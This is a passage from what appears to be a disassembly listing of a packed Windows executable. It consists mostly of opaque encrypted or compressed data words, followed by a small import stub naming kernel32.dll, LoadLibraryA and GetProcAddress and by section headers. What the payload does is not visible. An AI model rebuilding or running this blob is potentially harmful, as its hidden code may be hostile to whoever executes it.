		dd 58FF9D4Eh, 0FB311B46h, 0AE1013A3h, 0FD00DFEAh, 0C10DF515h
		dd 0D1A8264Ah, 426DD347h, 27F60C2Dh, 85C29445h,	7A3D87D4h
		dd 90CF0DD2h, 4C41EE0Ah, 3A82A012h, 0EC58CA3h, 9EBB1695h
		dd 80142432h, 44AB2AE6h, 0C6A481CAh, 63162A6h, 0DA726D9Eh
		dd 3EBB3287h, 5813A238h, 0FB846656h, 0FE59CC72h, 304D25D4h
		dd 0A49D0DFAh, 46A624C3h, 981AA10Bh, 0DE7A3818h, 29D6F389h
		dd 5D0AE205h, 3FB25BA9h, 1E855ED2h, 15075F19h, 0DC2111BEh
		dd 6D444D18h, 9D15CDB2h, 4622A158h, 0A332DC4Ch,	38889C9Ch
		dd 77F3D19Eh, 0C048F6C8h, 6D32C920h, 986F210Ah,	9A164BA1h
		dd 0D00EF621h, 0F22291D3h, 9126CE80h, 26DF68D4h, 1A113B9Dh
		dd 5F09B269h, 19737105h, 0FB22120Bh, 9F5B605h, 8A894BC1h
		dd 7732908Bh, 6E5FE10h,	0CB4A54C1h, 4095341Ah, 22DD689Fh
		dd 41404BA8h, 31CF51C8h, 51524657h, 4653F623h, 682B406h
		dd 0E6BA9548h, 8D43FEA2h, 659726B9h, 2260B0D3h,	0C1F0BA3Ah
		dd 26D6461Fh, 0F1615769h, 82CC0E4Dh, 0BBD6F64Dh, 0AF85A816h
		dd 0B5C88AC8h, 0C9DBA668h, 0B1DEAF27h, 2104E55Ah, 499E8E76h
		dd 3CABBD11h, 29C6A026h, 44A37425h, 0FF34528Ah,	0CCED408Dh
		dd 0C66F4A06h, 0A69B385Ch, 1176917Eh, 1F9E2E56h, 1D184273h
		dd 0FAC8E442h, 80520793h, 0BA4538C0h, 0E0B0EAh,	0BBF4F04Eh
		dd 0CF9043D5h, 9D1A49B8h, 60D74726h, 98384B36h,	0B3DB634Dh
		dd 88F2E84Eh, 155D1370h, 0A1261463h, 4B36081Ah,	0CF350831h
		dd 0E31AE998h, 893B97Eh, 8985D832h, 6ED21B31h, 5EB2E0E1h
		dd 762289DCh, 81C28AA0h, 0D1EAC8BEh, 7827A180h,	22CF8BACh
		dd 0EE3B8129h, 0B29115D1h, 0A69D096Ch, 96784802h, 2E6483C5h
		dd 0FC584126h, 0A3582599h, 2C2C47A9h, 4211268Fh, 0D2BCCD50h
		dd 40762E3Bh, 7B9BDA84h, 33845EB5h, 78779252h, 277498E9h
		dd 382595A3h, 9E4D7312h, 5D26BD0Ah, 0EF446EC9h,	42228E4Dh
		dd 11994C72h, 484E08DEh, 0EC7820F6h, 37C67644h,	0B5BF06C3h
		dd 73D11FC0h, 6CC3344h,	0C80B3F27h, 8DA0072Ch, 192B69h
		dd 0A62A259Fh, 505CAE16h, 8B4AA991h, 5C8487C5h,	908AE1C8h
		dd 488CBA5Ah, 0EA9C4F88h, 7CCDFA62h, 0DB5BCF4Eh, 362B23D2h
		dd 500E6DC1h, 98D9BBBBh, 3F32D5B3h, 9EC3CBD8h, 1952F76Eh
		dd 684EA909h, 0C190260Fh, 0A6B8257Dh, 0A46B5C1Ah, 0F758A590h
		dd 0AE92DEFAh, 70CD0C64h, 840AFD18h, 0EA427AC8h, 0E3AA4C07h
		dd 81268691h, 9A9C98E4h, 7AA62A1Bh, 3A4593CBh, 0DEA232C8h
		dd 209E25BCh, 0DE51BEACh, 0AE0109E2h, 0E44498C6h, 40E70C1h
		dd 0C6AF374Dh, 0A1C79C41h, 1E16FA38h, 1EEB8741h, 0CEA4BAE3h
		dd 95AF8D27h, 68019DEh,	4B2884DFh, 2602CCBDh, 4049DB5Eh
		dd 4E1580A7h, 0BBEECFB6h, 9EA631FAh, 281CFDE1h,	269C8E79h
		dd 9A08E6A4h, 0F79EF242h, 94620A20h, 116A653h, 0FAA6C9BBh
		dd 25148ED9h, 0FE6ECCBh, 4728F326h, 0C8F83275h,	0E62FEB89h
		dd 5315DF01h, 0C46F4ED5h, 0A6816AD1h, 22180C14h, 828281CDh
		dd 0EC5A9643h, 0BACBC55Fh, 258861F1h, 0C2EE11CFh, 154A2F13h
		dd 0F4B8451Bh, 36A76952h, 43268574h, 0B8256DB1h, 0C3626518h
		dd 0CC864415h, 0C8B8D141h, 40FF438h, 0E79DD3BAh, 2FE0CF96h
		dd 1717CCCAh, 2BF254Eh,	353EFB37h, 648E8802h, 0BB040F39h
		dd 169D952Bh, 138810C2h, 1A5A4615h, 64749D40h, 5EA8A130h
		dd 85CB2C8Ah, 0C85A9295h, 88BFA19Ch, 8A9FD627h,	0A23724A2h
		dd 406F114Ch, 38865FC5h, 87A8BAADh, 0D06AFAC3h,	9137CD1Bh
		dd 4A8DF516h, 0E442D4D1h, 8D64DEh, 59D61630h, 34A590D9h
		dd 3695C9D0h, 3510CF90h, 0B41A8F3Ch, 0D81BC47Eh, 421D084Dh
		dd 7225DD47h, 147C2272h, 6A89047Ch, 0CA440308h,	199BA654h
		dd 0A9DBAA0h, 52F3D5CDh, 0A4A2EB95h, 38984A4Bh,	392B0BBh
		dd 0BC07FD3Dh, 5AC18C34h, 0C49F7F0Fh, 5C37780h,	1D48A925h
		dd 3254A2AFh, 9D29C71Ch, 11518319h, 8C10C901h, 0D255FB45h
		dd 78D668A7h, 28240A4Bh, 9E3E1EA0h, 0E26CC2Ah, 0C5F32487h
		dd 0DAF269CAh, 281F6EC1h, 990274Bh, 0FAB63177h,	0C4D2EE3Ch
		dd 6836C616h, 7E8328FFh, 0C8FCCAF8h, 36BB471Ch,	83A93C6h
		dd 46CC3B22h, 220223A7h, 4C2FC620h, 0CD3C093Eh,	97D35296h
		dd 6D33FEE1h, 720D64E2h, 0F65A8732h, 7791DBD7h,	86272A26h
		dd 9C1DE20Dh, 58E6116Ah, 1BEE34C7h, 9E18AFE4h, 61EA45B4h
		dd 0BD63632h, 0EEB9206Fh, 5806B19Eh, 0A1DD62Ah,	48022113h
		dd 1A5ED13Fh, 0C3BE3A23h, 0BE8A1391h, 8252743Fh, 17FAE27Eh
		dd 0A813EE14h, 3EC285C6h, 8A6597D9h, 5EA4D97Ah,	0A72C6A53h
		dd 4B8B5F18h, 0E42D2902h, 6E85A9B2h, 82BF125Dh,	220C0DC5h
		dd 9410D0E2h, 6A2564DFh, 0D066B798h, 0AB21665h,	9DEC272Fh
		dd 0CE356E1Bh, 0D9EBA618h, 8B203667h, 0CF891E50h, 0D265419Ah
		dd 1239D1Fh, 0CA7636A4h, 0D65B2908h, 8C2D5079h,	52339FCEh
		dd 82296454h, 312B1222h, 16F438D4h, 0E96516Fh, 129827EEh
		dd 18689B6Dh, 81A49A6Fh, 0AF1D8A64h, 922F9E22h,	7717C61Bh
		dd 0F3478822h, 320DBF6Bh, 985741FBh, 70D27125h,	114E82BDh
		dd 490982B3h, 8EA4A784h, 0E8F6AB27h, 0D09E6D1Fh, 0D59E2363h
		dd 86223C92h, 8AD34514h, 0FAA40F5Ah, 0DA29DAA6h, 0EC238480h
		dd 0D280DE1Dh, 0C24E3498h, 3F1FA62h, 8B1A9E15h,	0D065C498h
		dd 0DBC5100Ah, 9D4214BEh, 145E544h, 4BC6EA82h, 0E0D8B807h
		dd 0B2F6991Fh, 0EFD16C0h, 3FCC270Fh, 407653Dh, 72CD2F4Dh
		dd 5CCA9164h, 44E82118h, 0C23A8A78h, 5016B79Dh,	2A1F3595h
		dd 0F0D833Ch, 43A8DE2Eh, 95C1300Ch, 3CCEC20Ch, 384B817Fh
		dd 3A47DDB8h, 1EE56DCCh, 40DA440Fh, 808FDF46h, 906C39BBh
		dd 1CA2741h, 74AC644h, 0BBF4C7BAh, 8ECB0643h, 9BEC3F25h
		dd 750625C5h, 33B07E9Dh, 4418C2C3h, 46440DC0h, 1196C583h
		dd 89F4D22Bh, 3DABB16h,	0FB30E5D3h, 0C11F3BC4h,	8CD9D203h
		dd 3CC317F4h, 107C5064h, 9331C811h, 2366A685h, 46AE2525h
		dd 57DC58A7h, 9427997Fh, 0CC8F1092h, 4D0D2E40h,	29C37AF3h
		dd 5187BBCFh, 0CCBFC3CEh, 0AF37AA37h, 0E1C67562h, 72FFCA44h
		dd 47287E40h, 97BC23FBh, 73CFA685h, 6F0C1251h, 0DA0CD53Ch
		dd 0A0C1B30h, 0CB090DF1h, 3A24AF53h, 0A629D29Fh, 0C03C3611h
		dd 6F0BFDCFh, 3C4C489h,	45C9BB09h, 252F2009h, 107FDC0h
		dd 78C12644h, 0F906C50Ah, 0D145F92Fh, 0CC492B77h, 0C206004Bh
		dd 9209C4BBh, 201AD816h, 2BDAC325h, 460F1312h, 127AB120h
		dd 89D96BBh, 25A81AF7h,	0ED982709h, 0A6621126h,	127BED6Dh
		dd 53BC539h, 237043DEh,	0BDE1F580h, 3206F3D8h, 0E12698D6h
		dd 20A65B85h, 84D1D43h,	2825EE14h, 550CA996h, 15764EBAh
		dd 97273DF4h, 0A866F839h, 8B24D267h, 15871DC2h,	36850999h
		dd 5347D520h, 0BBE1B692h, 5C339610h, 0CC2E113Eh, 972C4A76h
		dd 433A30F2h, 2ADCAE73h, 0D4C24FA0h, 97CFB9D6h,	6CD87984h
		dd 9C6B036h, 4ECAA8B0h,	28F95006h, 4328AA42h, 0F5DEC149h
		dd 0ECDCB805h, 19C0AE5Bh, 0C6BAFCF7h, 0FA4D608Eh, 3ABC0FF5h
		dd 0DCBB08C7h, 0BDE037B7h
		dd 517A47C3h, 0B5CB1C4Bh, 5B452E06h, 1D3489EEh,	19C58016h
		dd 3408FFF7h, 740C110Fh, 0A0193489h, 2E803438h,	1897DEA4h
		dd 7D094D19h, 0C28306CAh, 33AA4BC1h, 2AA63CA1h,	0B1384F4Ah
		dd 0CD6622C9h, 1D186108h, 842AC842h, 6A92EA7h, 246F925h
		dd 6169886Eh, 10B2EE30h, 2960392Eh, 59A4747Eh, 962173B6h
		dd 39D7FABBh, 24329B8Ch, 78037B43h, 994FF045h, 0B34D5531h
		dd 53BA9460h, 99052EECh, 0B5DBEA26h, 9C02116h, 0DD239148h
		dd 0C04DCD83h, 27A184FCh, 280AB5A7h, 0F1494D9Dh, 0A0A245C4h
		dd 0E5D0A4C8h, 0E24750A6h, 81DC8A4Bh, 0C6D28BAAh, 0AD1499B2h
		dd 2DAA75E1h, 0AA5D9604h, 4484B35Eh, 0EDC24AC9h, 4346C8ACh
		dd 0A80F9781h, 0D7E4F2E7h, 44F147FEh, 360483EBh, 377C6D48h
		dd 1EC6A90Eh, 3AC85C10h, 17C29B1Bh, 6F5FA01h, 8988E4BBh
		dd 25E804EFh, 0C3F04ED5h, 3CBAD016h, 26E92DEBh,	218E4965h
		dd 1483104h, 4088C715h,	257CBB57h, 748EC248h, 3CEAC148h
		dd 0C5C4B696h, 0C8F63E18h, 527F5AACh, 0CFEE4446h, 0BC85CC82h
		dd 503244C0h, 7BD663DBh, 33134B36h, 2C4198D9h, 0A6FD600Dh
		dd 1DFC9136h, 6ED782D8h, 26F755B1h, 0E30A0C31h,	90202504h
		dd 519CCA07h, 0E6B1B7B3h, 6111A675h, 5E268542h,	680973A0h
		dd 901324C8h, 0F6702632h, 46A79E46h, 0F5F000BAh, 4EF4B908h
		dd 211BA373h, 0BA0C7B44h, 8A163DE5h, 0BBCDDB01h, 8DA159C3h
		dd 87D72662h, 18A23391h, 43A3B24Eh, 0BB0AC5BAh,	81E0101Bh
		dd 3CCB8EE1h, 88CD965Fh, 0C50EDC0Ch, 0CC26A69Fh, 45091964h
		dd 6CDE4EFBh, 9E0E44A6h, 32CA1EA4h, 45F01018h, 0B44D5016h
		dd 754A36C1h, 7E4568E1h, 4D21A5DAh, 0EBF21DC3h,	224F31BBh
		dd 522AA61Bh, 0C1A51855h, 2E1232B7h, 43A94616h,	0A6894452h
		dd 65831E56h, 1462DEFAh, 861A41C2h, 0F525118Ah,	26256C2Ch
		dd 0CF331224h, 40E94A6Fh, 76183451h, 7A29368Dh,	8E3FB620h
		dd 119B94B9h, 431A6BB2h, 1F5F64C1h, 743852B6h, 90FEE44Dh
		dd 0EEA43116h, 0A6ED2691h, 0C125FA79h, 57023DB5h, 0EE5812E4h
		dd 3312303Dh, 0B488D046h, 23E9CBD4h, 707833h, 0B5BA0DF5h
		dd 0B48ED646h, 0F6320784h, 0C4D3B4D0h, 0C248C384h, 0B72F1FE1h
		dd 80491220h, 244DD89Ah, 28CDF6FEh, 0C0F8804h, 7FD1125h
		dd 0F60A160Eh, 23DBBAD6h, 0DF4219B6h, 0DF820694h, 252E171Eh
		dd 3D4FAE29h, 0FCD21A1Bh, 0F1072BCh, 1ECC7EFAh,	5ED33693h
		dd 2C04127Eh, 0F769C159h, 56561E26h, 91ABD3Fh, 0B9EC4ACBh
		dd 162FE1A6h, 0D2F692CCh, 0C7C55043h, 448FB097h, 6B393DF6h
		dd 520F5BA8h, 8BD074A6h, 47E082CDh, 0B8E2ECFEh,	0C6EECAD4h
		dd 6BB718E8h, 24E8343h,	23AB6797h, 0DCBB47AFh, 202645D4h
		dd 1992423Ah, 9E8F8A4Bh, 100D352Bh, 7A02A9FDh, 1CAB4DA8h
		dd 0E66B4BE4h, 1E528431h, 1A936E18h, 1E6CB7BCh,	25FE9C7Ah
		dd 44891AECh, 298214D6h, 33FE2A7Ah, 0BF67075h, 36240C60h
		dd 0E4768B08h, 0D629050Fh, 20E273FDh, 0E6CE7447h, 0CF720DCAh
		dd 4E0E3231h, 0C80F088Ch, 6B0CFB5Eh, 165B22E9h,	0E9CC5D23h
		dd 0EE3CCA48h, 0F7A87E89h, 1ECC0E44h, 64222C26h, 0A2205F9Eh
		dd 93C33CEh, 7F24113Eh,	0FA7C2EC8h, 6678D20h, 0B3626206h
		dd 0AC66050Ah, 0F3182C1Ch, 377B283Ah, 0DF104996h, 0B72C5966h
		dd 104C2A24h, 2E1BC299h, 0A466D242h, 452BECDh, 5836CF38h
		dd 0C8DAA426h, 2162B225h, 0A51E2839h, 0CF9A8168h, 42692083h
		dd 0A6247654h, 7C054386h, 0FEE64084h, 94BCFE86h, 0D83A4757h
		dd 738A35A6h, 3263B88Eh, 0EB26E2A7h, 4A369A08h,	0AED0C1F0h
		dd 11973B7Ch, 0A4D63D8Eh, 37911DDAh, 7382F95h, 0A9BD09F5h
		dd 0E789F3F4h, 0D090BBFCh, 0AAD2E69h, 0A04DA816h, 5B25CAA6h
		dd 66D75F5Dh, 52E51D37h, 0FD03CC32h, 5BF71C0Ch,	4CBB4DF2h
		dd 3A09DE94h, 0E1879B47h, 2E0F51CAh, 0D4B821CDh, 5890C421h
		dd 0A37911ECh, 2EB798BEh, 14DA26F1h, 0C3161283h, 6634D086h
		dd 19E93011h, 0C4339F26h, 3323C898h, 4E3AA680h,	29F98ED7h
		dd 862F15D2h, 980C23C7h, 49D7A286h, 7368CACBh, 4D85C097h
		dd 0BC3DCC30h, 0DED0DBD6h, 11F9918h, 0F679C124h, 0C58E01CDh
		dd 0BB84C480h, 25913A0Ah, 4B0118CAh, 0CBBA9038h, 41434061h
		dd 4F1FF006h, 16A19F2Fh, 0F7DE240Fh, 1B0CD5DFh,	39A90E87h
		dd 0CBC5291Eh, 0C20B18DAh, 6C879098h, 0DE14DB3Eh, 1C4CD194h
		dd 0FBC68A3Ah, 0D7943679h, 529822C7h, 0A6244BEEh, 0C2AC6F7Ah
		dd 944A306Ch, 332262EFh, 85F68018h, 15332242h, 5688C291h
		dd 42A69982h, 9DD0D3D4h, 0E8C0E7FDh, 0CF40E74Ah, 0D4B62DA6h
		dd 28D2D614h, 0DC2E1459h, 101CA214h, 0D09DCCDAh, 3BBAC432h
		dd 0C3003C29h, 4CBE73F7h, 9C7B4C33h, 0BBC640BAh, 0B6E243E2h
		dd 889F80A9h, 0A432BA0Eh, 53044B3h, 5F4992A6h, 0DA6B0518h
		dd 20921126h, 996822A4h, 0E83B2D1Ah, 0F93B2E4Dh, 2CBC21F9h
		dd 8BA02FC2h, 5C05CC0Eh, 0E63A3799h, 977E2757h,	0F652E396h
		dd 24947879h, 829064A1h, 4514C2A2h, 0A273FCC8h,	8F6251D9h
		dd 14CB37F9h, 38F42510h, 0A68CFCC8h, 522565F6h,	0A6C64ADEh
		dd 3E8625E6h, 728B4A87h, 90324925h, 0A6F4247Bh,	134D39BDh
		dd 4AB49D86h, 9867C256h, 0AE51B8BAh, 0AE2E15A4h, 0BA3DF580h
		dd 988EA4A8h, 69724AD9h, 889972A8h, 4ECA028Bh, 300F2E1Fh
		dd 274DC082h, 0E25F0F24h, 5CC69D59h, 0F4B41175h, 5623209Fh
		dd 2A76C4D4h, 5623CA22h, 4C714FD4h, 0BA1444A2h,	0F2CBE04Fh
		dd 3CD9D613h, 9E9FC2F4h, 0D17646EDh, 0CB421244h, 0DF21B98Ah
		dd 17D6BA90h, 0A8364F21h, 0A76F090Ah, 1F3EEA01h, 4D806026h
		dd 0ECD2837h, 0C8A0F5Bh, 7E0E0629h, 0CB082DCAh,	43E9470Bh
		dd 4521201Dh, 400E0648h, 0B800C6C8h, 3C3F4FEBh,	0B583E9Eh
		dd 0F45D4A4h, 3995C601h, 1FB9813Dh, 0AF0C4E27h,	0F7242268h
		dd 0CB9A8126h, 0B413BC72h, 2C11C5Dh, 92FD35F5h,	0D1B81E8Ch
		dd 74104D64h, 58B4B618h, 12FB522Fh, 9BF5883Eh, 6D582DBCh
		dd 405A164Ah, 0D0B83211h, 84EF54CFh, 9161179Eh,	4114C639h
		dd 0BC3A6002h, 45362C5Eh, 28024B5Fh, 0F2A46D67h, 0FD45E490h
		dd 40C92047h, 0FFCC22A3h, 20A28B28h, 5F51706Ah,	786C206Dh
		dd 29A3222Eh, 0B7FE6427h, 0C13B3E46h, 62023693h, 359B9EFDh
		dd 17122231h, 0A60130BAh, 0C5F53266h, 6BCF345h,	4AD11990h
		dd 22A81989h, 2852C42Ch, 0A026AFC2h, 56593E4h, 0F476B2BBh
		dd 0E5309D9Eh, 0FB4A4408h, 0BA3448BAh, 0F58148F7h, 0CD95B00Dh
		dd 8273AB42h, 0A2524619h, 8F53F620h, 0A4704006h, 272699C3h
		dd 22A93F15h, 0DBEFA3AFh, 8C7CE0B6h, 2CF6FA86h,	39B0CC96h
		dd 2510BB86h, 2C80EA54h, 87C209E5h, 929ECF88h, 2672600Eh
		dd 276FC94Ah, 0D75A766Bh, 235C53CEh, 0DEB12A48h, 0C0C468CCh
		dd 0F14EC6B3h, 0D9BB16F4h, 0A326B489h, 2B36FD6h, 0D1CE6510h
		dd 0B5847216h, 425B3291h, 0AAD2D37Fh, 0C6E84E2Dh, 59DC9818h
		dd 0C717FB1Dh, 6EB0B88h, 0DD9F9611h, 0A5155C2Eh, 0AB963F90h
		dd 92781946h, 0A95E9269h, 0BD800714h, 4FD3B838h, 0B312BB39h
		dd 0F9499AE6h, 2123B109h, 3E1CC30Ch, 0F820F58Fh, 8912D7AAh
		dd 3E5E4D6Bh, 45535216h, 473E007Ch, 3291CB33h, 163E6152h
		dd 0AACE0409h, 67A64521h, 0C99E4BFEh, 8B62166Dh, 0F6A1A1D2h
		dd 1E9373CDh, 0DE1328E6h, 9E2D4991h, 473C15D2h,	928F5EB3h
		dd 4278294Eh, 0F47A98CFh
		dd 0BB256890h, 0B4D84C1Ch, 0DF63AFBDh, 8B373E36h, 5D995B77h
		dd 9342920h, 0D478E8BAh, 27DB2E41h, 0F4412A0Fh,	56478BA6h
		dd 0B92FF09Dh, 269A9483h, 368ABB89h, 2CC5AD9Ah,	11EDF83Bh
		dd 0A02942DBh, 28A8FB29h, 4BC1182Dh, 0CD25355Bh, 98D095F5h
		dd 80925F20h, 6098948Eh, 0B14E39A3h, 4CC8C8C7h,	0D14483ADh
		dd 0FD32D4Dh, 9787CC9Ah, 0A94975F2h, 45A80F61h,	3948B289h
		dd 1B0AC96h, 43C2F582h,	270FD0FAh, 793CCA7Bh, 45D29F0Eh
		dd 3EB641AFh, 452D4DEDh, 0B0DE512h, 321996D3h, 0C8649236h
		dd 32330CB2h, 775F8812h, 1AB3111Eh, 374DE93Ah, 30DA2AF3h
		dd 0F3F3F4BAh, 0A33A7F64h, 0D728200Ah, 89792443h, 81A0182Eh
		dd 24E60D18h, 374F2002h, 0F17CA45h, 0BD0AA015h,	0EC3E9F19h
		dd 0D98369Bh, 4EF69180h, 8ED8EA3Fh, 0C0B81C4Bh,	4AFFCA44h
		dd 632BBC0Eh, 41C1B1F2h, 0C308405Fh, 0C4F8CABAh, 864BB74h
		dd 19C0EE36h, 0B712BC04h, 2698B710h, 62202E25h,	0BF5F41DEh
		dd 4D47149Ah, 0A8095652h, 0D8C2B931h, 5119B7CAh, 0B2CE4597h
		dd 0CF92745Fh, 0BFC47E55h, 0F3CA4238h, 4445BC16h, 98D80A06h
		dd 3215B20Ch, 57022BA9h, 0A60130FEh, 633DD412h,	830FEB1h
		dd 312B41BCh, 569759D2h, 0D6942979h, 554D4611h,	0FA924DA3h
		dd 76612157h, 0BC24D552h, 4B981206h, 23D0B07h, 0B146D561h
		dd 0B61A0E1Fh, 0A643160Ch, 0C4961210h, 2A33822Eh, 0FE2631E4h
		dd 0EA43220Ch, 0C4D63E10h, 3631C63Ah, 0BAF59E32h, 558743D7h
		dd 901FC635h, 91B33F52h, 2EA9DF24h, 10C939B9h, 0A14C2625h
		dd 38902495h, 29F2DDCDh, 7F533629h, 0A8E60CB4h,	7F673225h
		dd 103EC6BEh, 3532A2C2h, 3A2D9A97h, 89435D10h, 6B3C92CAh
		dd 0DACE5F62h, 3C0FCF52h, 0DCF4B090h, 6BD626F9h, 0BEF9F123h
		dd 2FCE3D08h, 0EDBFEB0Fh, 0BA0531E0h, 4612C04Eh, 71DA0303h
		dd 9FB2A08Eh, 22252B1Eh, 93BEAE43h, 31775799h, 0E693F7D9h
		dd 246448E2h, 0C8A1229Fh, 10A3F198h, 0F7834109h, 0DB0EF09Ch
		dd 6299D64Eh, 98DA49CEh, 0B3C69C60h, 0CA9D1582h, 0C934E22Ah
		dd 0A4598213h, 80834CB5h, 326DED25h, 1AD91728h,	7B8AF562h
		dd 0CB25F10Bh, 2178DF7Ch, 0E7E2A7D8h, 2B627A99h, 0B9421489h
		dd 0C8DF14Fh, 26CC1293h, 0B3D9CB95h, 5E7A1022h,	0F989D3DEh
		dd 0E8635F6Bh, 4249EDFBh, 8472136Bh, 0D25AF9F6h, 9D9F2370h
		dd 4EAE9D9Bh, 0B316A6C6h, 8AC63ECAh, 35F53641h,	0DED21920h
		dd 0CAFB8AB7h, 0EDA641B2h, 0EB0B7580h, 79C7234Fh, 0D465AFE9h
		dd 32F31626h, 1E3772E2h, 0B37C6971h, 19BAD218h,	0F5261945h
		dd 562C7425h, 2684AC9Ch, 0F5652084h, 3983D63Eh,	1225E99Bh
		dd 22193192h, 382C7077h, 960D8A0Ah, 64720870h, 0F17314A1h
		dd 103E44CFh, 4829ED69h, 0EBA48F73h, 4F0B697Eh,	6026D151h
		dd 0CC234DE6h, 18ED68B6h, 0EE9512Dh, 8306857Bh,	0FA6013B7h
		dd 250DA445h, 0BF8823FDh, 0B0DE0E93h, 0EEE237F4h, 4E0AF71Ch
		dd 0D884B0D4h, 1E13AFEDh, 0C72B7C9h, 76A2F58Bh,	940B5FB2h
		dd 4F9AED91h, 44FB11C2h, 0A6990B0Ah, 8CBD2FEh, 0F7DEEBBh
		dd 16149AA4h, 22D511F5h, 0A6A88068h, 0A84697DEh, 0F5E0AF8Bh
		dd 0E014BA21h, 2510C6A6h, 6231E49Bh, 0D5323CD6h, 0DF3F0E93h
		dd 0C2A413DAh, 48CA7148h, 259B8736h, 0D5228206h, 7B243EB3h
		dd 0C2915BFDh, 0A457F315h, 0D6D2BB1Ah, 0C9CCAD06h, 1CDF3486h
		dd 0B33AE861h, 2E480A84h, 149D2908h, 0A5A3A721h, 0C9924BC2h
		dd 0D145937Dh, 834561F9h, 97CB26D4h, 5C9963C4h,	1AC60A42h
		dd 0B5CCB04Ah, 2EEBA69Ch, 5E8FBA38h, 0B116B445h, 64472107h
		dd 5FBE765Ch, 3DDEBBA8h, 721E98A6h, 39AD6425h, 0AB55261Ah
		dd 0C7A3492Eh, 164F9764h, 8EA6E260h, 5A68BCD2h,	0AF241109h
		dd 0FDA796CDh, 0DB2D10B8h, 0FE154456h, 4730D44Dh, 0F0C90822h
		dd 36DC985Ah, 86A4049Eh, 0E4D12EA6h, 0ABC718D4h, 56996C4Ah
		dd 2641E991h, 0A5466A76h, 18124BA8h, 0AFFCDBBh,	10C793F6h
		dd 0B2BF4FC9h, 0AE311FF2h, 8839F2CAh, 8EEEE6EDh, 17593B26h
		dd 9A223B5Eh, 0E1168A52h, 10602DB2h, 4284CF5Fh,	0D0821934h
		dd 26F10959h, 0ECF0199Eh, 71343CDEh, 2583FC41h,	4B5CC832h
		dd 4F2E9739h, 45CAA2CAh, 6F544846h, 0FF82A0A2h,	0C6AB6A1Bh
		dd 16A6A943h, 3756D8BBh, 0AB9D80E4h, 264012FFh,	25623173h
		dd 0C6EC42E6h, 21235865h, 0F5565244h, 450A7889h, 5C4D3899h
		dd 0F1DEB2D1h, 0FD83254Dh, 327A4EA6h, 39F73290h, 0C2286510h
		dd 0DECA9BB1h, 8D324B57h, 45AC97C4h, 0EB6AB6B4h, 6276D125h
		dd 98DE9FDEh, 81CAC216h, 8CCABB15h, 984AD433h, 699D0327h
		dd 0E7BCD68Dh, 92469EDCh, 8C084E78h, 0EBFE0291h, 0C61BE6Ch
		dd 21DE423Eh, 602A9126h, 405B0400h, 10384400h, 454B0740h
		dd 4C304E52h, 382E3233h, 1F06C64h, 69725780h, 0D4506574h
		dd 73EA636Fh, 6DF24DE2h, 8E79FDF1h, 0C0695628h,	6C617574h
		dd 2E40D841h, 20CF7845h, 0AF70AF44h, 50614C69h,	0DD6EE848h
		dd 0AD23B76Ah, 461C8C0Ch, 0CC410C69h, 734C431Ah, 57781AAEh
		dd 8A469ECCh, 67FDED53h, 624F1E87h, 0FC63476Ah,	5AD0472Ah
		dd 64411C62h, 20CD6C7Bh, 0F761F84Ch, 0FB6269D0h, 40DA41DBh
		dd 54B72AB1h, 640F9568h, 75431E2Ch, 0BD6E18F3h,	1F491223h
		dd 7D736C29h, 726E9CE5h, 0A8A8522Ch, 0A22A7B32h, 6C28A067h
		dd 767DCC44h, 0FB58536Ch, 0A05BD073h, 9D0D9441h, 0F04E0B08h
		dd 0B3745778h, 88A0F41h, 0CC107372h, 0A8CA5487h, 4E0F0E70h
		dd 66121561h, 6FA26270h, 0CB5C446h, 1ADA0E94h, 5D701085h
		dd 76B7B9EBh, 6D0AFF7Eh, 4A70A1A7h, 2115AB4Bh, 525E48A8h
		dd 68BAD33Ah, 5F571325h, 5A779F84h, 24AF9044h, 5F0A3132h
		dd 3888EA6Ch, 8EB8A209h, 49378648h, 0E89E0A41h,	80B38EA9h
		dd 12436BF4h, 636E756Fh, 64D34D62h, 0C387DEDEh,	70142CA2h
		dd 8F2D6E79h, 81E3A53h,	53716EE3h, 0FDFFB3FEh, 7562C146h
		dd 6A60833Ah, 52D7629Eh, 334D7B26h, 3F427852h, 0A345C04Ch
		dd 777A6DC7h, 5570C544h, 54733115h, 328AF679h, 0E2523E1Bh
		dd 0F803FFCCh, 55266D9Ah, 6B246E53h, 90684350h,	705537F1h
		dd 823A5956h, 6C7F02B3h, 0D5EA1091h, 0FC6A46C8h, 2E33A648h
		dd 61191E4Dh, 0E8376967h, 0F1344D35h, 4612A875h, 7D847049h
		dd 77016641h, 57001118h, 5F423253h, 0FB411899h,	5A6B9E36h
		dd 0B03CC3Eh, 33890A09h, 0C241612h, 12910348h, 11440522h
		dd 1202890Fh, 14012872h, 49204401h, 0E6C7428h, 8090E64h
		dd 9911348h, 14440722h,	857DA396h, 4441F443h, 49509956h
		dd 20217F59h, 0B43EF607h, 403148F5h, 0C89A43D3h, 0AE0A83A2h
		dd 68243E59h, 0BE4F6707h, 43536EE1h, 1252314Dh,	4CC572DFh
		dd 6DA62D21h, 9A151AF2h, 4C0C1BB7h, 4D49A7B5h, 67360F4Ch
		dd 725244A8h, 913CD065h, 16683252h, 8F3EB267h, 0FF668EDFh
		dd 3B6FE8A4h, 0BA6CEA4Ch, 19EDB255h, 5354410Fh,	0EA4B8B33h
		dd 0EB0DAC79h, 7E03B056h, 86AD9075h, 7F308B1Dh,	2691AE3Dh
		dd 0BFFD7563h, 6FBE4932h, 32897397h, 85093C41h,	290E23FBh
		dd 12F0113Bh, 6A02534Dh, 4C4B434Fh, 7254303Ah, 696D7390h
		dd 22A2A699h, 5012E442h, 4ED77252h, 0BDD7D24Bh,	0D369C6C1h
		dd 0C80EB469h, 65431523h, 696CA66Ch, 8018h, 4000000h, 6B00405Bh
		dd 656E7265h, 2E32336Ch, 6C6C64h, 64616F4Ch, 7262694Ch
		dd 41797261h
		dd 74654700h, 636F7250h, 72646441h, 737365h
; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
		db 0Ch,	60h, 0
		dd 2 dup(0)
		dd 800300h, 600C00h, 783h dup(0)
		db 2 dup(0)
__u_____	ends

; Section 3. (virtual address 0000A000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0000A000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 40A000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start